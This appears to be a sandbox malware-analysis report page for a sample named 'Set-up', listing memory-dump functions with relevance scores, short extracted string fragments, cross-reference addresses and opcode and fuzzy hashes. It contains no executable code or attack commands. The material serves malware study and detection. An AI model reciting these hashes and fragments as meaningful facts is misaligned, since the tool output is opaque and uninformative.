Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: Xh>$$$%$&$0$4$6$;$<$=$C$F$L$N$Q$Z$a$b$c$c$e$g$g$i$k$m$m$m$mlkj$o$o
API String ID: 0-2284219976
Opcode ID: d11a21dceee941e11f7c4350107b5ee6850660737c74aba478d325c6a3b6622f
Instruction ID: d376c4f1c8527fe5227bd87e6270db096ff74f172eb0f06027bed083f242b5a8
Opcode Fuzzy Hash: d11a21dceee941e11f7c4350107b5ee6850660737c74aba478d325c6a3b6622f
Instruction Fuzzy Hash: 8C224E21D08BEA8ADB32C67C8C483CDAF615B57234F1843D9D4F96B3D2C7650A46CB66

Function 02884FF6 Relevance: 37.9, Strings: 30, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L, xrefs: 028851CB
i, xrefs: 02885020
4, xrefs: 028854AB
<, xrefs: 0288518B
;, xrefs: 028851A3
m, xrefs: 02885263
o, xrefs: 0288504A
C, xrefs: 02885391
m, xrefs: 028854CD
6, xrefs: 02885183
0, xrefs: 02885173
c, xrefs: 028853CD
Q, xrefs: 028851F3
o, xrefs: 0288525B
g, xrefs: 02885012
mlkj, xrefs: 0288553D
Z, xrefs: 02885223
g, xrefs: 0288523B
e, xrefs: 02885004
%, xrefs: 02885133
=, xrefs: 0288517B
F, xrefs: 0288500B
Xh>, xrefs: 028852D3
N, xrefs: 02885043
k, xrefs: 0288502E
c, xrefs: 02884FF6
a, xrefs: 028853C5
b, xrefs: 028853C9
m, xrefs: 0288503C
$, xrefs: 02885143

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: Xh>$$$%$0$4$6$;$<$=$C$F$L$N$Q$Z$a$b$c$c$e$g$g$i$k$m$m$m$mlkj$o$o
API String ID: 0-3064023765
Opcode ID: 2adbd384def8e41a22bcc27f9a0585433e97ffb255c397a5ea1badf1b8f7c732
Instruction ID: b884fe76332424531e5d07553cbf02a65b8c95083c3b8bd02c011d4e2c695ae2
Opcode Fuzzy Hash: 2adbd384def8e41a22bcc27f9a0585433e97ffb255c397a5ea1badf1b8f7c732
Instruction Fuzzy Hash: B8225F21D08BEA89DB32C67C8C483CDAFA11B57234F1843D9D4F96B3D6C7650A46CB66

Function 02871DEE Relevance: 24.4, Strings: 19, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e, xrefs: 028724BA
m, xrefs: 02872342
m, xrefs: 028725C2
l, xrefs: 02871E87
k, xrefs: 0287234C
k, xrefs: 028725CC
l, xrefs: 02872347
,, xrefs: 0287241F
!@, xrefs: 02871E21
l, xrefs: 028725C7
j, xrefs: 028725D1
u, xrefs: 0287202E
j, xrefs: 02871E91
., xrefs: 0287203D
j, xrefs: 02872351
,, xrefs: 02872033
m, xrefs: 02871E82
k, xrefs: 02871E8C
-, xrefs: 02872038

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: !@$,$,$-$.$e$j$j$j$k$k$k$l$l$l$m$m$m$u
API String ID: 0-2963851243
Opcode ID: 0152906eef133ae7b133fa84e9e7c6e7a112ba67714e842df8e3368f9ef4336c
Instruction ID: 5e696c30a13596e3b8af211ccb5d43bf787c23fe804d18fc29913ae6355fa145
Opcode Fuzzy Hash: 0152906eef133ae7b133fa84e9e7c6e7a112ba67714e842df8e3368f9ef4336c
Instruction Fuzzy Hash: 6C32F57A60C7408BD328CB28C49536FBBE2ABD5318F19892DE9D9C7395D779C841CB42

Function 0285A95E Relevance: 17.9, Strings: 14, Instructions: 420COMMON

Download Yara Rule

Strings

|, xrefs: 0285ACA8
FF>, xrefs: 0285AAFE
Juux, xrefs: 0285AC0C
7., xrefs: 0285A9BB
Juux, xrefs: 0285AD47
wlrK, xrefs: 0285A9AB
fa, xrefs: 0285AB39
]711, xrefs: 0285A9B3
hp{=, xrefs: 0285A97B
=, xrefs: 0285AB40
O&fl, xrefs: 0285A98B
`{ad, xrefs: 0285A99B
m{xd, xrefs: 0285A993
)1, xrefs: 0285AA7F

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: 7.$=$FF>$Juux$Juux$O&fl$]711$`{ad$fa$hp{=$m{xd$wlrK$|$)1
API String ID: 0-1149197633
Opcode ID: 5e400718256891331679bc372d30d98bb2508dc71eb032e566ba9c8211757e48
Instruction ID: 763baf7928f41e5db7c955e99e7a97112fbba84538f07ea9247b1a2fc4e74b1b
Opcode Fuzzy Hash: 5e400718256891331679bc372d30d98bb2508dc71eb032e566ba9c8211757e48
Instruction Fuzzy Hash: 59C11B7950C7A14BC726CF29889076AFFE1AF93204F088A9DE8D5DB352D739C509C752

Function 02886B7E Relevance: 12.8, Strings: 10, Instructions: 292COMMON

Download Yara Rule

Strings

W, xrefs: 02886E79
p, xrefs: 02886B92
q, xrefs: 02886C19
p, xrefs: 02886C14
q, xrefs: 02886B97
], xrefs: 02886DCF
U, xrefs: 02886E7E
2, xrefs: 02886C1E
n, xrefs: 02886DD4
2, xrefs: 02886B9C

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: 2$2$U$W$]$n$p$p$q$q
API String ID: 0-3695408397
Opcode ID: f26a453f83913c7e3dc5102bd9c7875d5ffc6cd6032536b12d983bab7e9fb392
Instruction ID: 095ad0676a7434816695dded17405be959d604ca8427fcc2da64dfc4e07b44fc
Opcode Fuzzy Hash: f26a453f83913c7e3dc5102bd9c7875d5ffc6cd6032536b12d983bab7e9fb392
Instruction Fuzzy Hash: A4A13927A1CBE14AE31195784C5525BAEC34BD2228F2DCA6DD8E5C73C3E5B9C806C393

Function 028874FE Relevance: 10.7, Strings: 8, Instructions: 746COMMON

Download Yara Rule

Strings

/~ p, xrefs: 02887923
%)*+, xrefs: 0288759E
,rSt, xrefs: 0288792B
"b7d, xrefs: 0288790B
1n*`, xrefs: 02887903
Ef]x, xrefs: 02887913
Yz=|, xrefs: 0288791B
:j.l, xrefs: 02887973

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: "b7d$%)*+$,rSt$/~ p$1n*`$:j.l$Ef]x$Yz=|
API String ID: 0-2387816766
Opcode ID: d6a8f7980a08514e4ae4384f37a3fe9da59012b3e9b9026d87dd0a9458e7bc17
Instruction ID: 1d6b590f2953e2fcea6b6c34842070fc3d4ca12503f0ae2633b1f9edeabd4e89
Opcode Fuzzy Hash: d6a8f7980a08514e4ae4384f37a3fe9da59012b3e9b9026d87dd0a9458e7bc17
Instruction Fuzzy Hash: 693203796083118BE314DF28C89176BFBE6EB85324F248A2CE9D9C7391D774D905CB92

Function 028671BF Relevance: 9.1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

Strings

=N?@, xrefs: 028673C6
=B:D, xrefs: 028673CE
nL=N, xrefs: 0286723E
-Z"\, xrefs: 028673DE
"^!P, xrefs: 028673E6
=RST, xrefs: 028673EE
&F&X, xrefs: 028673D6

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: "^!P$&F&X$-Z"\$=B:D$=N?@$=RST$nL=N
API String ID: 0-1620001774
Opcode ID: 0f96782a53a28904656dd49371de96efa6bf965770282e6b143ca2b480640fd7
Instruction ID: 2dac2f0ab15cd2768c3724a17e6bb7efc3be2b820b9e45cf4ce8860270470d7e
Opcode Fuzzy Hash: 0f96782a53a28904656dd49371de96efa6bf965770282e6b143ca2b480640fd7
Instruction Fuzzy Hash: E4A102795083118BC7148F28C4D13BBF7E2EF88768F59892DE8C99B764E7749941CB82

Function 0285C1CE Relevance: 7.9, Strings: 6, Instructions: 441COMMON

Download Yara Rule

Strings

hcde, xrefs: 0285C331
$C+E, xrefs: 0285C2F1
<S{U, xrefs: 0285C2D1
O'K), xrefs: 0285C2B9
G/?Q, xrefs: 0285C2C9
Lq, xrefs: 0285C604

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: $C+E$<S{U$G/?Q$Lq$O'K)$hcde
API String ID: 0-2390496766
Opcode ID: 5278627292de7144ce50d747e30c1f0fa7fc2c882bb246d6240e3784e80baccc
Instruction ID: 032d50b2fd52f9a1d79a26e20812d5cac0fb3f4b86f81c220ee0013fefffcfca
Opcode Fuzzy Hash: 5278627292de7144ce50d747e30c1f0fa7fc2c882bb246d6240e3784e80baccc
Instruction Fuzzy Hash: 69D1177A50C3A44BC328CF68889026FBFE2ABD5214F18892DE8D59B346D775C945DF82

Function 0285ADBE Relevance: 7.9, Strings: 6, Instructions: 386COMMON

Download Yara Rule

Strings

|"~, xrefs: 0285B0BF
tv, xrefs: 0285B0CF
j{bk, xrefs: 0285AF26
rg}`, xrefs: 0285AF1E
j{|y, xrefs: 0285AF2E
WH, xrefs: 0285B117

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: WH$j{bk$j{|y$rg}`$tv$|"~
API String ID: 0-3103884652
Opcode ID: cd2e6db2ca4f871bf8bf219faf28c07371c7564adfdc655a5824297ca9e3bd37
Instruction ID: 34e7c748e92b6edb8432ba3c1e3b2e2b034fbdebd186ee6afce6d42aeaf20d7b
Opcode Fuzzy Hash: cd2e6db2ca4f871bf8bf219faf28c07371c7564adfdc655a5824297ca9e3bd37
Instruction Fuzzy Hash: 6AC133756483508BD318CF25C8A16AFBBE2EFC1314F14896CE5D68B391DB39C50ACB56

Function 02873C4D Relevance: 7.7, Strings: 6, Instructions: 188COMMON

Download Yara Rule

Strings

EF, xrefs: 02873C90
,N;@, xrefs: 02873DAF
t6GH, xrefs: 02873DA1
B>\0, xrefs: 02873D93
P2O4, xrefs: 02873D9A
BfD, xrefs: 02873DB6

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: BfD$,N;@$B>\0$EF$P2O4$t6GH
API String ID: 0-4152648049
Opcode ID: 3bfa644d511106c29585e5997b5b16d3f54ad53c9b6297e5ebb30188e6e4366f
Instruction ID: ff553832b62a79abafe9c044a4f41fca8221896756213f76f1fd4152b1115503
Opcode Fuzzy Hash: 3bfa644d511106c29585e5997b5b16d3f54ad53c9b6297e5ebb30188e6e4366f
Instruction Fuzzy Hash: 085118B1D002109FDB15CF69C8817AABB72EB86310F26816CE855BF795DB75CC028BD5

Function 028745CE Relevance: 7.6, Strings: 6, Instructions: 79COMMON

Download Yara Rule

Strings

N+P-, xrefs: 02874628
B7P9, xrefs: 02874600
Z?E!, xrefs: 02874610
=S2U, xrefs: 02874638
^_, xrefs: 02874654
?W4Y, xrefs: 02874640

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: =S2U$?W4Y$B7P9$N+P-$Z?E!$^_
API String ID: 0-2275767105
Opcode ID: d5bc172e73e71802ff03281214c90baafc5733a06cdd2e47fd1f357cd0debf69
Instruction ID: 7619a3b4bd8426b4fbf5e96014b93be6c7e8d081963d30c3bec48ceb29505616
Opcode Fuzzy Hash: d5bc172e73e71802ff03281214c90baafc5733a06cdd2e47fd1f357cd0debf69
Instruction Fuzzy Hash: 17319CB410C3509FD3188F24889065FFBF1FBD6708F144A2CE5D96B292D7B5D5068B4A

Function 0285F22C Relevance: 6.6, Strings: 5, Instructions: 354COMMON

Download Yara Rule

Strings

Bu, xrefs: 0285F48D
lw`g, xrefs: 0285F313
C`, xrefs: 0285F478
][Gi, xrefs: 0285F32F
{H, xrefs: 0285F47F

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: Bu$C`$][Gi$lw`g${H
API String ID: 0-3480560875
Opcode ID: f19fc274d3cb08965249016b4bc26380fe635c7e8ccf96c8dc364790b7791cb4
Instruction ID: 908317498a1a84fe58dba5356fe2257a2e3c54fbe77d347af9c4a9a2d6c8daf2
Opcode Fuzzy Hash: f19fc274d3cb08965249016b4bc26380fe635c7e8ccf96c8dc364790b7791cb4
Instruction Fuzzy Hash: 04A1F2782057918FD329CF29C990662BFE1FF97300B19959CC9D68FB56C339A886CB50

Function 0288718E Relevance: 6.5, Strings: 5, Instructions: 281COMMON

Download Yara Rule

Strings

mlkjmlkj, xrefs: 02887312
j, xrefs: 0288742A
k, xrefs: 02887426
m, xrefs: 0288741E
l, xrefs: 02887422

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: j$k$l$m$mlkjmlkj
API String ID: 0-1718425385
Opcode ID: 1c47f1935ddd1bd50bd0e13492d3a94747a9c2af53c9f2b541203a4218bcbd0f
Instruction ID: 40a2e70f37480ee1418d826b64fe70ff0b7696568b0d21135c6526cc22948225
Opcode Fuzzy Hash: 1c47f1935ddd1bd50bd0e13492d3a94747a9c2af53c9f2b541203a4218bcbd0f
Instruction Fuzzy Hash: D2B1F63EE08254CFDB10DBAC88513AEFFF2AB56314F294169D896E7392C3758845C792

Function 0286EDFE Relevance: 5.8, Strings: 4, Instructions: 757COMMON

Download Yara Rule

Strings

^, xrefs: 0286EFEC
#db, xrefs: 0286F646
=, xrefs: 0286F641
&db, xrefs: 0286F678

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: #db$&db$=$^
API String ID: 0-2580204256
Opcode ID: 933b0e81b5875339851ab0a589ad81f34e256e7495a35b01de8aef91c733097e
Instruction ID: a3f92df3288857a6c8d5600d8e6d02985b1489bcabf53baf81839c18dbcc9deb
Opcode Fuzzy Hash: 933b0e81b5875339851ab0a589ad81f34e256e7495a35b01de8aef91c733097e
Instruction Fuzzy Hash: 2E42487C40C3918FC721CF28D84466EBBE1AF96314F18866CE9EA9B791D735C905CB92

Function 0286D789 Relevance: 5.6, Strings: 4, Instructions: 606COMMON

Download Yara Rule

Strings

nla%, xrefs: 0286DDBE
jla%, xrefs: 0286DA1C
nla%, xrefs: 0286DA7E
jla%, xrefs: 0286DD5C

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: jla%$jla%$nla%$nla%
API String ID: 0-2495907822
Opcode ID: c5b3b51f4a74732dd95a3192074c7119eaff4c4ca203d01b00ae3971cca5ef7e
Instruction ID: b9f13c11cf13a568504bf5e2df3532eb8eaf7ef962e853b7fe43227c646c70ad
Opcode Fuzzy Hash: c5b3b51f4a74732dd95a3192074c7119eaff4c4ca203d01b00ae3971cca5ef7e
Instruction Fuzzy Hash: F0E135B96583148BC324DF28C89577BB3F1FF91318F098A1CE8858B795E7789A04C796

Function 0285E308 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

9.->, xrefs: 0285E3BD
S_, xrefs: 0285E563
&05>, xrefs: 0285E3AF
[V, xrefs: 0285E555

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: &05>$9.->$S_$[V
API String ID: 0-1526837774
Opcode ID: ee0fb13ca91113920269de591f658c8b0e2e13d7ba79c944e85d8615ead99941
Instruction ID: 2aa0b220459c6e2a16e316de272220850f7163c1a83474cf85f9d18f7163686c
Opcode Fuzzy Hash: ee0fb13ca91113920269de591f658c8b0e2e13d7ba79c944e85d8615ead99941
Instruction Fuzzy Hash: 1E9144B92007918FD329CF29C8D0A62BFE2FF86300719969CC4968F766D379E546CB51

Function 0287D22B Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

QE}h, xrefs: 0287D45E
SZ@f, xrefs: 0287D6D5
I@VU, xrefs: 0287D453
I, xrefs: 0287D469

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: I$I@VU$QE}h$SZ@f
API String ID: 0-1716187216
Opcode ID: e388ca2e3e849dfdbc9631bee100986bb6e47ffbad954671b5ae72d9fd1347df
Instruction ID: 79b8f4d9bbe7be48b64a35a5558a603b94d459f54ffd5614ef0c3d87c5ca147b
Opcode Fuzzy Hash: e388ca2e3e849dfdbc9631bee100986bb6e47ffbad954671b5ae72d9fd1347df
Instruction Fuzzy Hash: AA71DA7850C3D18BE3398B29C4607BBBBD2AF92304F18896DD5DACB282D7759405C757

Function 0287D318 Relevance: 5.3, Strings: 4, Instructions: 261COMMON

Download Yara Rule

Strings

QE}h, xrefs: 0287D45E
SZ@f, xrefs: 0287D6D5
I@VU, xrefs: 0287D453
I, xrefs: 0287D469

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: I$I@VU$QE}h$SZ@f
API String ID: 0-1716187216
Opcode ID: 731f08f9b7c0578e034d73057454b45812443072d9b81ae8db1828e9b90c19a1
Instruction ID: 766a1980eb1b4a029c2d65056cec0af79f629c78ce1ec8524dc40efac72cef23
Opcode Fuzzy Hash: 731f08f9b7c0578e034d73057454b45812443072d9b81ae8db1828e9b90c19a1
Instruction Fuzzy Hash: BD71EA7860C3D18BE3398B28C4607BBBBD2AF92204F18896DD1DACB282D7759405C757

Function 0287D370 Relevance: 5.3, Strings: 4, Instructions: 260COMMON

Download Yara Rule

Strings

QE}h, xrefs: 0287D45E
SZ@f, xrefs: 0287D6D5
I@VU, xrefs: 0287D453
I, xrefs: 0287D469

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: I$I@VU$QE}h$SZ@f
API String ID: 0-1716187216
Opcode ID: 573be6ab252419c90857f0d93b2ade8a22ae41f3f1813f76ae3f37db6bd6b48d
Instruction ID: 09aa8e5902baee8b276d35e085289a9f8b016ddf6aad4d1ab004b375e9d961f2
Opcode Fuzzy Hash: 573be6ab252419c90857f0d93b2ade8a22ae41f3f1813f76ae3f37db6bd6b48d
Instruction Fuzzy Hash: 6871D9B850C3D18BE3398B28C4647BBBBD2AF93204F18896DD5DACB282D7759406C757

Function 0287D361 Relevance: 5.2, Strings: 4, Instructions: 233COMMON

Download Yara Rule

Strings

QE}h, xrefs: 0287D45E
SZ@f, xrefs: 0287D6D5
I@VU, xrefs: 0287D453
I, xrefs: 0287D469

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: I$I@VU$QE}h$SZ@f
API String ID: 0-1716187216
Opcode ID: 3595193ec51c544839b7d7433e1aba4d05b3c316297386c30d78e618191ae649
Instruction ID: b39d241345e0ff11626e5f8894b09e1a9250d4861fd4edb3e9f9d65606f2aadd
Opcode Fuzzy Hash: 3595193ec51c544839b7d7433e1aba4d05b3c316297386c30d78e618191ae649
Instruction Fuzzy Hash: 1A61B6A850C3D18BE3398F29D4607BBBBD2AF93204F18496DD1DA8B282D7758506CB57

Function 028680B4 Relevance: 5.2, Strings: 4, Instructions: 229COMMON

Download Yara Rule

Strings

qr, xrefs: 0286816A
7, xrefs: 028681BD
gfff, xrefs: 0286820B
0zI|, xrefs: 02868183

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: 0zI|$7$gfff$qr
API String ID: 0-4245031452
Opcode ID: 6f5cc95fb6b27a8ad7ed8d78a5f406aaf7d933dd9b9656e7262c131b46a5b243
Instruction ID: 96e331ee36adbc5458fdf14aee048647a806f0e546d38a45552cc25c5b071a0d
Opcode Fuzzy Hash: 6f5cc95fb6b27a8ad7ed8d78a5f406aaf7d933dd9b9656e7262c131b46a5b243
Instruction Fuzzy Hash: 216105796042114BD328CB28CC2577F76D6BFC5328F19863DE49ADB3D5EB3899098782

Function 0285CE9C Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

!R, xrefs: 0285D1A8
M=, xrefs: 0285D1B6
TJ, xrefs: 0285D1AF
IL, xrefs: 0285D1BD

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: !R$IL$M=$TJ
API String ID: 0-1186558615
Opcode ID: dede26cdb45ea4f26b49813678f70fa69a73fa14424b28917fb7a2cc01d38959
Instruction ID: fc5b63c2ade6b03656f334728e3883e8521c8a6cf7a1593ee4a0a13162f203f1
Opcode Fuzzy Hash: dede26cdb45ea4f26b49813678f70fa69a73fa14424b28917fb7a2cc01d38959
Instruction Fuzzy Hash: 06B10BB5958355EFE354DF56E989FA53FB1BB06340F5A82E8C0886F222C7308446CF95

Function 0288BB7E Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

(EFG, xrefs: 0288BCCE
L9;, xrefs: 0288BCB9
M5F7, xrefs: 0288BCB2
$A.C, xrefs: 0288BCC7

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: $A.C$(EFG$L9;$M5F7
API String ID: 0-716650282
Opcode ID: a3248d0ae3c2ff1dc0494626869ba73b6ec220572a9d65c3157c373830ba5bef
Instruction ID: 6a1d4d64f3a11499433b0a9df59f65215a0c8ad97c5b590c03dd31b8b489892b
Opcode Fuzzy Hash: a3248d0ae3c2ff1dc0494626869ba73b6ec220572a9d65c3157c373830ba5bef
Instruction Fuzzy Hash: E3315736651B409FC724CF75DC42356BAE2BBC2614B15CA3CD1B6C7699EB78D0068F04

Function 028880AE Relevance: 4.3, Strings: 3, Instructions: 502COMMON

Download Yara Rule

Strings

mlkj, xrefs: 028885A0, 0288829A
mlkj, xrefs: 028882E8
mlkj, xrefs: 0288811C

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: mlkj$mlkj$mlkj
API String ID: 0-1321208144
Opcode ID: 58285660863d21da0e7f59d022023201123e17f04d1678fa378b1b0182269a4a
Instruction ID: 3c5285a5bb2983ea0d9a6fdf99c57494359ca1f884ed5872423859b74deb6270
Opcode Fuzzy Hash: 58285660863d21da0e7f59d022023201123e17f04d1678fa378b1b0182269a4a
Instruction Fuzzy Hash: 7DD1153E6082055BD724AF19CC8166FB7E2EBC6714F58843CE9C9D7292D735AC06CB52

Function 028711EE Relevance: 4.2, Strings: 3, Instructions: 471COMMON

Download Yara Rule

Strings

]5R7, xrefs: 028712EE
*+, xrefs: 0287156C
Z9:;, xrefs: 028712F9

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: *+$Z9:;$]5R7
API String ID: 0-1782461210
Opcode ID: 18317f73d4b20812587b15f1d8e783b2e86799ef8bff05252d0e068513a8142b
Instruction ID: 70083a1eb93f257e2936715dbdf939ddf2ebd6af60504b417f58d2ca6810612c
Opcode Fuzzy Hash: 18317f73d4b20812587b15f1d8e783b2e86799ef8bff05252d0e068513a8142b
Instruction Fuzzy Hash: 63D104796083008BC728CF25C89676BB7F2EFD1354F199A2CD4899B794EB78D405CB52

Function 0288F0FE Relevance: 4.1, Strings: 3, Instructions: 322COMMON

Download Yara Rule

Strings

=?, xrefs: 0288F0FE
, xrefs: 0288F1C6, 0288F235
, xrefs: 0288F32D, 0288F394

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: =?$$
API String ID: 0-4187781974
Opcode ID: 95cfc28b4803eb429ed1a0d11f5c10eff07dfb41ba7f2eb84d2af7a889eca94b
Instruction ID: aa4054397c3a2960b1cd5dce8c89db56ea8c24a696f61453b167f06acc06d0ea
Opcode Fuzzy Hash: 95cfc28b4803eb429ed1a0d11f5c10eff07dfb41ba7f2eb84d2af7a889eca94b
Instruction Fuzzy Hash: 1591353D6083018BD715EF28C88157FB7E2EBE5314F58893DE69AC7680D734E8068B92

Function 028768CE Relevance: 4.1, Strings: 3, Instructions: 312COMMON

Download Yara Rule

Strings

hODr, xrefs: 0287697A
mlkj, xrefs: 028768EE
lODr, xrefs: 028769AE

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: hODr$lODr$mlkj
API String ID: 0-213227892
Opcode ID: 841225172baba7cacf894998c1c25e20f329e1afa18193a4ab9c5d7c23361221
Instruction ID: 6166bba704765148e6afa803a8d6bd244033170c00681c0a9911d942e7914d1b
Opcode Fuzzy Hash: 841225172baba7cacf894998c1c25e20f329e1afa18193a4ab9c5d7c23361221
Instruction Fuzzy Hash: 4281257D6056204BD718DF64CCA2B7BB7AAEBC2308F18842DD986CB251F738E815C752

Function 0285A6CE Relevance: 4.0, Strings: 3, Instructions: 269COMMON

Download Yara Rule

Strings

t, xrefs: 0285A731
|x, xrefs: 0285A6EF
c, xrefs: 0285A6F6

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: t$c$|x
API String ID: 0-1736779163
Opcode ID: b29248f8861ec8d9f9602d0609553e13db4ca6b245818f8b3d2a13e52ec70524
Instruction ID: 8f57c71bc9827b2e4cb52f963126860a0c9cb2d3d480e74f69bd7759f2271a98
Opcode Fuzzy Hash: b29248f8861ec8d9f9602d0609553e13db4ca6b245818f8b3d2a13e52ec70524
